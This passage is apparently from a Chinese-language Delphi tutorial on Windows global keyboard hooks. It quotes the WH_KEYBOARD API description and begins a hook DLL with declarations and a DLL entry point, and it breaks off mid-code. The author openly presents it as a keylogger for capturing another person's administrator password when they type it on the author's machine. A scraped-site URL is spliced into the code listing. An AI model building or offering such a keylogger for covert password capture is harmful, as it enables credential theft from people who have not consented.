每个程序都有自己的生存空间,在 Windows 系统中你可以在任何时候让你的程序执行一些
操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,
onMouseMove 等等,另外一个可以使用 Windows 的消息机制来捕获一些系统消息,但是如
果你想在任何时候监控任何程序的情况那可能你就会选择 HOOK 来实现了,虽然还有其他
方法,但不得不承认,HOOK 是一个比较简单解决问题的途径。
Windows 提供了 Hook 机制,定义为
A callback function provided by an application that receives certain data before the normal
recipient of the data. The hook function can thus examine or modify the data before passing it on.
可以使用诸多 Hook 的方式,一下列举一些常用的参数,这些在 WINDWOS API 帮助中都有:
KEYBOARD:
he WH_KEYBOARD hook enables an application to monitor message traffic for
WM_KEYDOWN and WM_KEYUP messages about to be returned by the GetMessage or
PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input
posted to a message queue.
下面就来举个例子(使用 Delphi7.0 调试通过):
如果你需要访问某个人的机器,那在运行\SB 之后 那个人就 会在你机器上敲入他的
adminsitrator 密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝
试一下写个程序记录所有的键盘操作呢?
首先需要申明一点,Hook 不同于一般的应用程序,需要作为一个全局 DLL 出现,否则无法
在你程序不激活的状态捕获其他信息的,(当然你可以用 Windows 消息,这个问题不在这里
讨论)。
写个 DLL 定义一下函数
function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function
keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure EntryPointProc(Reason: Integer);
const
hMapObject: THandle = 0;
begin
case reason of
DLL_PROCESS_ATTACH:
begin
hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,
SizeOf(THookRec), '_CBT'); 本文来自:http://www.87717.com
rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);